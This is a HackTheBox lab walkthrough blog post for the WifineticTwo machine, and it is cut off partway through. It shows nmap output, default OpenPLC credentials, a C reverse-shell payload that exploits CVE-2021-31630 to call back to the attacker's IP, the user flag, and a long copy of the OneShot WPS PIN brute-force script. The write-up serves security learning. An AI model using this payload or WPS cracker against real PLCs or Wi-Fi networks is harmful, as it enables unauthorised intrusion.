WifineticTwo-HTB-Walkthrough-By-Reju-Kole

Reju Kole
25 min readJul 7, 2024

--

Welcome! It is time to look at the WifineticTwo machine on HackTheBox. I am making these walkthroughs to keep myself motivated to learn cyber security and ensure that I remember the knowledge gained by playing HTB machines.

Join me on learning cyber security. I will try and explain concepts as I go, to differentiate myself from other walkthroughs.

Level — Medium

Machine URL : Hack The Box :: Hack The Box

About WifineticTwo — WifineticTwo is a medium-difficulty Linux machine that features OpenPLC running on port 8080, vulnerable to Remote Code Execution through the manual exploitation of `[CVE-2021–31630](https://nvd.nist.gov/vuln/detail/CVE-2021-31630)`. After obtaining an initial foothold on the machine, a WPS attack is performed to acquire the Wi-Fi password for an Access Point (AP). This access allows the attacker to target the router running `OpenWRT` and gain a root shell via its web interface.

Enumeration

To kick off this box, let’s run a Nmap scan to see what services and ports are open.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn 10.10.11.7
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-05 18:17 EDT
Nmap scan report for wifinetictwo.htb (10.10.11.7)
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy Werkzeug/1.0.1 Python/2.7.18
|_http-server-header: Werkzeug/1.0.1 Python/2.7.18
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://wifinetictwo.htb:8080/login
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| content-type: text/html; charset=utf-8
| content-length: 232
| vary: Cookie
| set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZohxKw.jMHmqYP-ZAmpymjM-xkY8_2OCYg; Expires=Fri, 05-Jul-2024 22:23:19 GMT; HttpOnly; Path=/
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Fri, 05 Jul 2024 22:18:19 GMT
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 302 FOUND
| content-type: text/html; charset=utf-8
| content-length: 219
| location: http://0.0.0.0:8080/login
| vary: Cookie
| set-cookie: session=eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ.ZohxKg._8VL-JAnRD7maoAsP1Z3B0KdLqA; Expires=Fri, 05-Jul-2024 22:23:18 GMT; HttpOnly; Path=/
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Fri, 05 Jul 2024 22:18:18 GMT
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| content-type: text/html; charset=utf-8
| allow: HEAD, OPTIONS, GET
| vary: Cookie
| set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZohxKg.Wq0xKaqPv_wu7qW2NtiQmwqSRug; Expires=Fri, 05-Jul-2024 22:23:18 GMT; HttpOnly; Path=/
| content-length: 0
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Fri, 05 Jul 2024 22:18:18 GMT
| RTSPRequest:
| HTTP/1.1 400 Bad request
| content-length: 90
| cache-control: no-cache
| content-type: text/html
| connection: close
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
|_ </body></html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=7/5%Time=66887129%P=x86_64-pc-linux-gnu%r(
SF:GetRequest,24C,"HTTP/1\.0\x20302\x20FOUND\r\ncontent-type:\x20text/html
SF:;\x20charset=utf-8\r\ncontent-length:\x20219\r\nlocation:\x20http://0\.
SF:0\.0\.0:8080/login\r\nvary:\x20Cookie\r\nset-cookie:\x20session=eyJfZnJ
SF:lc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ\.ZohxKg\._8VL-JAnRD7maoAsP1Z3B0
SF:KdLqA;\x20Expires=Fri,\x2005-Jul-2024\x2022:23:18\x20GMT;\x20HttpOnly;\
SF:x20Path=/\r\nserver:\x20Werkzeug/1\.0\.1\x20Python/2\.7\.18\r\ndate:\x2
SF:0Fri,\x2005\x20Jul\x202024\x2022:18:18\x20GMT\r\n\r\n<!DOCTYPE\x20HTML\
SF:x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20Final//EN\">\n<title>Redi
SF:recting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20should\x20
SF:be\x20redirected\x20automatically\x20to\x20target\x20URL:\x20<a\x20href
SF:=\"/login\">/login</a>\.\x20\x20If\x20not\x20click\x20the\x20link\.")%r
SF:(HTTPOptions,14E,"HTTP/1\.0\x20200\x20OK\r\ncontent-type:\x20text/html;
SF:\x20charset=utf-8\r\nallow:\x20HEAD,\x20OPTIONS,\x20GET\r\nvary:\x20Coo
SF:kie\r\nset-cookie:\x20session=eyJfcGVybWFuZW50Ijp0cnVlfQ\.ZohxKg\.Wq0xK
SF:aqPv_wu7qW2NtiQmwqSRug;\x20Expires=Fri,\x2005-Jul-2024\x2022:23:18\x20G
SF:MT;\x20HttpOnly;\x20Path=/\r\ncontent-length:\x200\r\nserver:\x20Werkze
SF:ug/1\.0\.1\x20Python/2\.7\.18\r\ndate:\x20Fri,\x2005\x20Jul\x202024\x20
SF:22:18:18\x20GMT\r\n\r\n")%r(RTSPRequest,CF,"HTTP/1\.1\x20400\x20Bad\x20
SF:request\r\ncontent-length:\x2090\r\ncache-control:\x20no-cache\r\nconte
SF:nt-type:\x20text/html\r\nconnection:\x20close\r\n\r\n<html><body><h1>40
SF:0\x20Bad\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20r
SF:equest\.\n</body></html>\n")%r(FourOhFourRequest,224,"HTTP/1\.0\x20404\
SF:x20NOT\x20FOUND\r\ncontent-type:\x20text/html;\x20charset=utf-8\r\ncont
SF:ent-length:\x20232\r\nvary:\x20Cookie\r\nset-cookie:\x20session=eyJfcGV
SF:ybWFuZW50Ijp0cnVlfQ\.ZohxKw\.jMHmqYP-ZAmpymjM-xkY8_2OCYg;\x20Expires=Fr
SF:i,\x2005-Jul-2024\x2022:23:19\x20GMT;\x20HttpOnly;\x20Path=/\r\nserver:
SF:\x20Werkzeug/1\.0\.1\x20Python/2\.7\.18\r\ndate:\x20Fri,\x2005\x20Jul\x
SF:202024\x2022:18:19\x20GMT\r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3
SF:C//DTD\x20HTML\x203\.2\x20Final//EN\">\n<title>404\x20Not\x20Found</tit
SF:le>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x2
SF:0found\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x
SF:20manually\x20please\x20check\x20your\x20spelling\x20and\x20try\x20agai
SF:n\.</p>\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=7/5%OT=22%CT=1%CU=38955%PV=Y%DS=2%DC=T%G=Y%TM=66887
OS:151%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)S
OS:EQ(SP=105%GCD=1%ISR=108%TI=Z%CI=Z%TS=A)SEQ(SP=106%GCD=1%ISR=108%TI=Z%CI=
OS:Z%II=I%TS=A)SEQ(SP=106%GCD=2%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11
OS:NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53C
OS:ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=
OS:40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2
OS:(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164
OS:%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 143/tcp)
HOP RTT ADDRESS
1 165.92 ms 10.10.14.1
2 166.10 ms wifinetictwo.htb (10.10.11.7)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.60 seconds

The scan shows that the ports for TCP (22) & SSH Service is Running, TCP (8080) are open.

Let’s add WifineticTwo host to our /etc/hosts file.

sudo echo "10.10.11.7 wifinetictwo.htb" | sudo tee -a /etc/hosts

Open the HTTP link in a new tab.

http://10.10.11.7:8080/login
Login page

We look up the default credentials on Microsoft.

openplc:openplc
Default Credentials
Dashboard

We managed to log in with the default credentials, we found a dashboard. And when searching on the internet, the promising CVE would be CVE-2021–31630.

I want to think that the endpoint/hardware is vulnerable to the injection of a reverse shell, which would allow us to gain remote access to the machine. Therefore, I will proceed to generate the following specific payload for this purpose.

#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

void initCustomLayer()
{
}

void updateCustomIn()
{
}

void updateCustomOut()
{
int port = 1234;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.14.236");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = { "bash", NULL };
execvp("bash", argv);

return 0;
}

We place the reverse shell inside updateCustomOut(){}. And then we click on “Save changes”. What we want to do is now run this code hosted in our blank_program.st file (by default).

Compiling finished successfully!

Click on “Go to Dashboard

Open a tab to listen for incoming connections. “nc -lvnp 1234

And then I click on “Start PLC”.

Hehe!!! we got a root shell.

which python3 : This command is used to determine the location of the Python 3 interpreter on the system.

We stabilize the Shell.

id 
which python3
script /dev/null -c /bin/bash
export TERM=xterm

User.txt — a624b2b157a34a545cfe3c0e92e661ce

We may find ourselves surprised that we are already root, and we also find the first flag user.txt.

Now after doing a little enumeration. And referencing the machine name makes ifconfig to see the machine’s network interfaces. So, we can do a scan to the wlan0 interface.

iw dev wlan0 scan

iw: This is the main command for interacting with Wireless Extensions and configuring wireless devices on Linux.

dev wlan0: Here, dev is used to specify that we are working with a wireless device, and wlan0 is the name of the wireless interface on your system. The exact name of the interface may vary in different systems and configurations.

scan: This part of the command instructs iw to perform a scan of the available wireless networks in the area.

In short, iw dev wlan0 scan runs a wireless network scan using the wlan0 interface on your system, allowing you to see the available networks and get detailed information about them, such as their SSID, signal strength, channels used, and security types implemented.

SSID: plcrouter
BSS 02:00:00:00:01:00 (on wlan0)

The next step would be to use a brute force attack, we will use OneShot, a python script, in my case I download it and host it on a python server.

GitHub Link OneShot.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import subprocess
import os
import tempfile
import shutil
import re
import codecs
import socket
import pathlib
import time
from datetime import datetime
import collections
import statistics
import csv
from pathlib import Path
from typing import Dict


class NetworkAddress:
def __init__(self, mac):
if isinstance(mac, int):
self._int_repr = mac
self._str_repr = self._int2mac(mac)
elif isinstance(mac, str):
self._str_repr = mac.replace('-', ':').replace('.', ':').upper()
self._int_repr = self._mac2int(mac)
else:
raise ValueError('MAC address must be string or integer')

@property
def string(self):
return self._str_repr

@string.setter
def string(self, value):
self._str_repr = value
self._int_repr = self._mac2int(value)

@property
def integer(self):
return self._int_repr

@integer.setter
def integer(self, value):
self._int_repr = value
self._str_repr = self._int2mac(value)

def __int__(self):
return self.integer

def __str__(self):
return self.string

def __iadd__(self, other):
self.integer += other

def __isub__(self, other):
self.integer -= other

def __eq__(self, other):
return self.integer == other.integer

def __ne__(self, other):
return self.integer != other.integer

def __lt__(self, other):
return self.integer < other.integer

def __gt__(self, other):
return self.integer > other.integer

@staticmethod
def _mac2int(mac):
return int(mac.replace(':', ''), 16)

@staticmethod
def _int2mac(mac):
mac = hex(mac).split('x')[-1].upper()
mac = mac.zfill(12)
mac = ':'.join(mac[i:i+2] for i in range(0, 12, 2))
return mac

def __repr__(self):
return 'NetworkAddress(string={}, integer={})'.format(
self._str_repr, self._int_repr)


class WPSpin:
"""WPS pin generator"""
def __init__(self):
self.ALGO_MAC = 0
self.ALGO_EMPTY = 1
self.ALGO_STATIC = 2

self.algos = {'pin24': {'name': '24-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin24},
'pin28': {'name': '28-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin28},
'pin32': {'name': '32-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin32},
'pinDLink': {'name': 'D-Link PIN', 'mode': self.ALGO_MAC, 'gen': self.pinDLink},
'pinDLink1': {'name': 'D-Link PIN +1', 'mode': self.ALGO_MAC, 'gen': self.pinDLink1},
'pinASUS': {'name': 'ASUS PIN', 'mode': self.ALGO_MAC, 'gen': self.pinASUS},
'pinAirocon': {'name': 'Airocon Realtek', 'mode': self.ALGO_MAC, 'gen': self.pinAirocon},
# Static pin algos
'pinEmpty': {'name': 'Empty PIN', 'mode': self.ALGO_EMPTY, 'gen': lambda mac: ''},
'pinCisco': {'name': 'Cisco', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 1234567},
'pinBrcm1': {'name': 'Broadcom 1', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 2017252},
'pinBrcm2': {'name': 'Broadcom 2', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 4626484},
'pinBrcm3': {'name': 'Broadcom 3', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 7622990},
'pinBrcm4': {'name': 'Broadcom 4', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 6232714},
'pinBrcm5': {'name': 'Broadcom 5', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 1086411},
'pinBrcm6': {'name': 'Broadcom 6', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3195719},
'pinAirc1': {'name': 'Airocon 1', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3043203},
'pinAirc2': {'name': 'Airocon 2', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 7141225},
'pinDSL2740R': {'name': 'DSL-2740R', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 6817554},
'pinRealtek1': {'name': 'Realtek 1', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9566146},
'pinRealtek2': {'name': 'Realtek 2', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9571911},
'pinRealtek3': {'name': 'Realtek 3', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 4856371},
'pinUpvel': {'name': 'Upvel', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 2085483},
'pinUR814AC': {'name': 'UR-814AC', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 4397768},
'pinUR825AC': {'name': 'UR-825AC', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 529417},
'pinOnlime': {'name': 'Onlime', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9995604},
'pinEdimax': {'name': 'Edimax', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3561153},
'pinThomson': {'name': 'Thomson', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 6795814},
'pinHG532x': {'name': 'HG532x', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 3425928},
'pinH108L': {'name': 'H108L', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9422988},
'pinONO': {'name': 'CBN ONO', 'mode': self.ALGO_STATIC, 'gen': lambda mac: 9575521}}

@staticmethod
def checksum(pin):
"""
Standard WPS checksum algorithm.
@pin — A 7 digit pin to calculate the checksum for.
Returns the checksum value.
"""
accum = 0
while pin:
accum += (3 * (pin % 10))
pin = int(pin / 10)
accum += (pin % 10)
pin = int(pin / 10)
return (10 - accum % 10) % 10

def generate(self, algo, mac):
"""
WPS pin generator
@algo — the WPS pin algorithm ID
Returns the WPS pin string value
"""
mac = NetworkAddress(mac)
if algo not in self.algos:
raise ValueError('Invalid WPS pin algorithm')
pin = self.algos[algo]['gen'](mac)
if algo == 'pinEmpty':
return pin
pin = pin % 10000000
pin = str(pin) + str(self.checksum(pin))
return pin.zfill(8)

def getAll(self, mac, get_static=True):
"""
Get all WPS pin's for single MAC
"""
res = []
for ID, algo in self.algos.items():
if algo['mode'] == self.ALGO_STATIC and not get_static:
continue
item = {}
item['id'] = ID
if algo['mode'] == self.ALGO_STATIC:
item['name'] = 'Static PIN — ' + algo['name']
else:
item['name'] = algo['name']
item['pin'] = self.generate(ID, mac)
res.append(item)
return res

def getList(self, mac, get_static=True):
"""
Get all WPS pin's for single MAC as list
"""
res = []
for ID, algo in self.algos.items():
if algo['mode'] == self.ALGO_STATIC and not get_static:
continue
res.append(self.generate(ID, mac))
return res

def getSuggested(self, mac):
"""
Get all suggested WPS pin's for single MAC
"""
algos = self._suggest(mac)
res = []
for ID in algos:
algo = self.algos[ID]
item = {}
item['id'] = ID
if algo['mode'] == self.ALGO_STATIC:
item['name'] = 'Static PIN — ' + algo['name']
else:
item['name'] = algo['name']
item['pin'] = self.generate(ID, mac)
res.append(item)
return res

def getSuggestedList(self, mac):
"""
Get all suggested WPS pin's for single MAC as list
"""
algos = self._suggest(mac)
res = []
for algo in algos:
res.append(self.generate(algo, mac))
return res

def getLikely(self, mac):
res = self.getSuggestedList(mac)
if res:
return res[0]
else:
return None

def _suggest(self, mac):
"""
Get algos suggestions for single MAC
Returns the algo ID
"""
mac = mac.replace(':', '').upper()
algorithms = {
'pin24': ('04BF6D', '0E5D4E', '107BEF', '14A9E3', '28285D', '2A285D', '32B2DC', '381766', '404A03', '4E5D4E', '5067F0', '5CF4AB', '6A285D', '8E5D4E', 'AA285D', 'B0B2DC', 'C86C87', 'CC5D4E', 'CE5D4E', 'EA285D', 'E243F6', 'EC43F6', 'EE43F6', 'F2B2DC', 'FCF528', 'FEF528', '4C9EFF', '0014D1', 'D8EB97', '1C7EE5', '84C9B2', 'FC7516', '14D64D', '9094E4', 'BCF685', 'C4A81D', '00664B', '087A4C', '14B968', '2008ED', '346BD3', '4CEDDE', '786A89', '88E3AB', 'D46E5C', 'E8CD2D', 'EC233D', 'ECCB30', 'F49FF3', '20CF30', '90E6BA', 'E0CB4E', 'D4BF7F4', 'F8C091', '001CDF', '002275', '08863B', '00B00C', '081075', 'C83A35', '0022F7', '001F1F', '00265B', '68B6CF', '788DF7', 'BC1401', '202BC1', '308730', '5C4CA9', '62233D', '623CE4', '623DFF', '6253D4', '62559C', '626BD3', '627D5E', '6296BF', '62A8E4', '62B686', '62C06F', '62C61F', '62C714', '62CBA8', '62CDBE', '62E87B', '6416F0', '6A1D67', '6A233D', '6A3DFF', '6A53D4', '6A559C', '6A6BD3', '6A96BF', '6A7D5E', '6AA8E4', '6AC06F', '6AC61F', '6AC714', '6ACBA8', '6ACDBE', '6AD15E', '6AD167', '721D67', '72233D', '723CE4', '723DFF', '7253D4', '72559C', '726BD3', '727D5E', '7296BF', '72A8E4', '72C06F', '72C61F', '72C714', '72CBA8', '72CDBE', '72D15E', '72E87B', '0026CE', '9897D1', 'E04136', 'B246FC', 'E24136', '00E020', '5CA39D', 'D86CE9', 'DC7144', '801F02', 'E47CF9', '000CF6', '00A026', 'A0F3C1', '647002', 'B0487A', 'F81A67', 'F8D111', '34BA9A', 'B4944E'),
'pin28': ('200BC7', '4846FB', 'D46AA8', 'F84ABF'),
'pin32': ('000726', 'D8FEE3', 'FC8B97', '1062EB', '1C5F2B', '48EE0C', '802689', '908D78', 'E8CC18', '2CAB25', '10BF48', '14DAE9', '3085A9', '50465D', '5404A6', 'C86000', 'F46D04', '3085A9', '801F02'),
'pinDLink': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'A0AB1B', 'B8A386', 'C0A0BB', 'CCB255', 'FC7516', '0014D1', 'D8EB97'),
'pinDLink1': ('0018E7', '00195B', '001CF0', '001E58', '002191', '0022B0', '002401', '00265A', '14D64D', '1C7EE5', '340804', '5CD998', '84C9B2', 'B8A386', 'C8BE19', 'C8D3A3', 'CCB255', '0014D1'),
'pinASUS': ('049226', '04D9F5', '08606E', '0862669', '107B44', '10BF48', '10C37B', '14DDA9', '1C872C', '1CB72C', '2C56DC', '2CFDA1', '305A3A', '382C4A', '38D547', '40167E', '50465D', '54A050', '6045CB', '60A44C', '704D7B', '74D02B', '7824AF', '88D7F6', '9C5C8E', 'AC220B', 'AC9E17', 'B06EBF', 'BCEE7B', 'C860007', 'D017C2', 'D850E6', 'E03F49', 'F0795978', 'F832E4', '00072624', '0008A1D3', '00177C', '001EA6', '00304FB', '00E04C0', '048D38', '081077', '081078', '081079', '083E5D', '10FEED3C', '181E78', '1C4419', '2420C7', '247F20', '2CAB25', '3085A98C', '3C1E04', '40F201', '44E9DD', '48EE0C', '5464D9', '54B80A', '587BE906', '60D1AA21', '64517E', '64D954', '6C198F', '6C7220', '6CFDB9', '78D99FD', '7C2664', '803F5DF6', '84A423', '88A6C6', '8C10D4', '8C882B00', '904D4A', '907282', '90F65290', '94FBB2', 'A01B29', 'A0F3C1E', 'A8F7E00', 'ACA213', 'B85510', 'B8EE0E', 'BC3400', 'BC9680', 'C891F9', 'D00ED90', 'D084B0', 'D8FEE3', 'E4BEED', 'E894F6F6', 'EC1A5971', 'EC4C4D', 'F42853', 'F43E61', 'F46BEF', 'F8AB05', 'FC8B97', '7062B8', '78542E', 'C0A0BB8C', 'C412F5', 'C4A81D', 'E8CC18', 'EC2280', 'F8E903F4'),
'pinAirocon': ('0007262F', '000B2B4A', '000EF4E7', '001333B', '00177C', '001AEF', '00E04BB3', '02101801', '0810734', '08107710', '1013EE0', '2CAB25C7', '788C54', '803F5DF6', '94FBB2', 'BC9680', 'F43E61', 'FC8B97'),
'pinEmpty': ('E46F13', 'EC2280', '58D56E', '1062EB', '10BEF5', '1C5F2B', '802689', 'A0AB1B', '74DADA', '9CD643', '68A0F6', '0C96BF', '20F3A3', 'ACE215', 'C8D15E', '000E8F', 'D42122', '3C9872', '788102', '7894B4', 'D460E3', 'E06066', '004A77', '2C957F', '64136C', '74A78E', '88D274', '702E22', '74B57E', '789682', '7C3953', '8C68C8', 'D476EA', '344DEA', '38D82F', '54BE53', '709F2D', '94A7B7', '981333', 'CAA366', 'D0608C'),
'pinCisco': ('001A2B', '00248C', '002618', '344DEB', '7071BC', 'E06995', 'E0CB4E', '7054F5'),
'pinBrcm1': ('ACF1DF', 'BCF685', 'C8D3A3', '988B5D', '001AA9', '14144B', 'EC6264'),
'pinBrcm2': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19'),
'pinBrcm3': ('14D64D', '1C7EE5', '28107B', 'B8A386', 'BCF685', 'C8BE19', '7C034C'),
'pinBrcm4': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19', 'C8D3A3', 'CCB255', 'FC7516', '204E7F', '4C17EB', '18622C', '7C03D8', 'D86CE9'),
'pinBrcm5': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19', 'C8D3A3', 'CCB255', 'FC7516', '204E7F', '4C17EB', '18622C', '7C03D8', 'D86CE9'),
'pinBrcm6': ('14D64D', '1C7EE5', '28107B', '84C9B2', 'B8A386', 'BCF685', 'C8BE19', 'C8D3A3', 'CCB255', 'FC7516', '204E7F', '4C17EB', '18622C', '7C03D8', 'D86CE9'),
'pinAirc1': ('181E78', '40F201', '44E9DD', 'D084B0'),
'pinAirc2': ('84A423', '8C10D4', '88A6C6'),
'pinDSL2740R': ('00265A', '1CBDB9', '340804', '5CD998', '84C9B2', 'FC7516'),
'pinRealtek1': ('0014D1', '000C42', '000EE8'),
'pinRealtek2': ('007263', 'E4BEED'),
'pinRealtek3': ('08C6B3',),
'pinUpvel': ('784476', 'D4BF7F0', 'F8C091'),
'pinUR814AC': ('D4BF7F60',),
'pinUR825AC': ('D4BF7F5',),
'pinOnlime': ('D4BF7F', 'F8C091', '144D67', '784476', '0014D1'),
'pinEdimax': ('801F02', '00E04C'),
'pinThomson': ('002624', '4432C8', '88F7C7', 'CC03FA'),
'pinHG532x': ('00664B', '086361', '087A4C', '0C96BF', '14B968', '2008ED', '2469A5', '346BD3', '786A89', '88E3AB', '9CC172', 'ACE215', 'D07AB5', 'CCA223', 'E8CD2D', 'F80113', 'F83DFF'),
'pinH108L': ('4C09B4', '4CAC0A', '84742A4', '9CD24B', 'B075D5', 'C864C7', 'DC028E', 'FCC897'),
'pinONO': ('5C353B', 'DC537C')
}
res = []
for algo_id, masks in algorithms.items():
if mac.startswith(masks):
res.append(algo_id)
return res

def pin24(self, mac):
return mac.integer & 0xFFFFFF

def pin28(self, mac):
return mac.integer & 0xFFFFFFF

def pin32(self, mac):
return mac.integer % 0x100000000

def pinDLink(self, mac):
# Get the NIC part
nic = mac.integer & 0xFFFFFF
# Calculating pin
pin = nic ^ 0x55AA55
pin ^= (((pin & 0xF) << 4) +
((pin & 0xF) << 8) +
((pin & 0xF) << 12) +
((pin & 0xF) << 16) +
((pin & 0xF) << 20))
pin %= int(10e6)
if pin < int(10e5):
pin += ((pin % 9) * int(10e5)) + int(10e5)
return pin

def pinDLink1(self, mac):
mac.integer += 1
return self.pinDLink(mac)

def pinASUS(self, mac):
b = [int(i, 16) for i in mac.string.split(':')]
pin = ''
for i in range(7):
pin += str((b[i % 6] + b[5]) % (10 - (i + b[1] + b[2] + b[3] + b[4] + b[5]) % 7))
return int(pin)

def pinAirocon(self, mac):
b = [int(i, 16) for i in mac.string.split(':')]
pin = ((b[0] + b[1]) % 10)\
+ (((b[5] + b[0]) % 10) * 10)\
+ (((b[4] + b[5]) % 10) * 100)\
+ (((b[3] + b[4]) % 10) * 1000)\
+ (((b[2] + b[3]) % 10) * 10000)\
+ (((b[1] + b[2]) % 10) * 100000)\
+ (((b[0] + b[1]) % 10) * 1000000)
return pin


def recvuntil(pipe, what):
s = ''
while True:
inp = pipe.stdout.read(1)
if inp == '':
return s
s += inp
if what in s:
return s


def get_hex(line):
a = line.split(':', 3)
return a[2].replace(' ', '').upper()


class PixiewpsData:
def __init__(self):
self.pke = ''
self.pkr = ''
self.e_hash1 = ''
self.e_hash2 = ''
self.authkey = ''
self.e_nonce = ''

def clear(self):
self.__init__()

def got_all(self):
return (self.pke and self.pkr and self.e_nonce and self.authkey
and self.e_hash1 and self.e_hash2)

def get_pixie_cmd(self, full_range=False):
pixiecmd = "pixiewps --pke {} --pkr {} --e-hash1 {}"\
" --e-hash2 {} --authkey {} --e-nonce {}".format(
self.pke, self.pkr, self.e_hash1,
self.e_hash2, self.authkey, self.e_nonce)
if full_range:
pixiecmd += ' --force'
return pixiecmd


class ConnectionStatus:
def __init__(self):
self.status = '' # Must be WSC_NACK, WPS_FAIL or GOT_PSK
self.last_m_message = 0
self.essid = ''
self.wpa_psk = ''

def isFirstHalfValid(self):
return self.last_m_message > 5

def clear(self):
self.__init__()


class BruteforceStatus:
def __init__(self):
self.start_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
self.mask = ''
self.last_attempt_time = time.time() # Last PIN attempt start time
self.attempts_times = collections.deque(maxlen=15)

self.counter = 0
self.statistics_period = 5

def display_status(self):
average_pin_time = statistics.mean(self.attempts_times)
if len(self.mask) == 4:
percentage = int(self.mask) / 11000 * 100
else:
percentage = ((10000 / 11000) + (int(self.mask[4:]) / 11000)) * 100
print('[*] {:.2f}% complete @ {} ({:.2f} seconds/pin)'.format(
percentage, self.start_time, average_pin_time))

def registerAttempt(self, mask):
self.mask = mask
self.counter += 1
current_time = time.time()
self.attempts_times.append(current_time - self.last_attempt_time)
self.last_attempt_time = current_time
if self.counter == self.statistics_period:
self.counter = 0
self.display_status()

def clear(self):
self.__init__()


class Companion:
"""Main application part"""
def __init__(self, interface, save_result=False, print_debug=False):
self.interface = interface
self.save_result = save_result
self.print_debug = print_debug

self.tempdir = tempfile.mkdtemp()
with tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False) as temp:
